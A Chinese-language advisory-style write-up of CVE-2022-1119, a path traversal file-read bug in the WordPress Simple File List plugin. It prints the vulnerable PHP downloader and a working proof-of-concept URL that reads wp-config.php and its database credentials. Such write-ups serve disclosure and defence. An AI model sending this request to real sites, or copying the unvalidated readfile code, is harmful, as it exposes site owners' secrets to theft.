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57 lines
1.7 KiB
Markdown
57 lines
1.7 KiB
Markdown
# WordPress Simple File List ee-downloader.php 任意文件读取漏洞 CVE-2022-1119
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## 漏洞描述
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WordPress Simple File List插件 ee-downloader.php文件存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的任意文件
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## 漏洞影响
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```
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WordPress Simple File List < 3.2.8
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```
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## 插件名
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Simple File List
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https://downloads.wordpress.org/plugin/simple-file-list.3.2.17.zip
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## 漏洞复现
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存在漏洞的文件为 `wp-content/plugins/simple-file-list/includes/ee-downloader.php`
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```php
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<?php // Simple File List - ee-downloader.php - rev 1.19 - mitchellbennis@gmail.com
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// Force File to Download
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// This script is accessed via javascript on ee-download.php
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$eeFile = filter_var($_GET['eeFile'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW);
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if(is_readable($eeFile)) {
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header('Pragma: public'); // required
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header('Expires: 0'); // no cache
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header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
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header('Last-Modified: '. gmdate ('D, d M Y H:i:s', filemtime ($eeFile)) .' GMT');
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header('Cache-Control: private',false);
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header('Content-Type: ' . mime_content_type($eeFile) );
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header('Content-Disposition: attachment; filename="'. basename($eeFile) .'"');
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// header('Content-Transfer-Encoding: binary');
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header('Content-Length: '. filesize($eeFile)); // provide file size
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header('Connection: close');
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readfile($eeFile); // Start the download
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}
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?>
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```
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直接传参获取文件信息, 验证POC
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```
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/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php
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```
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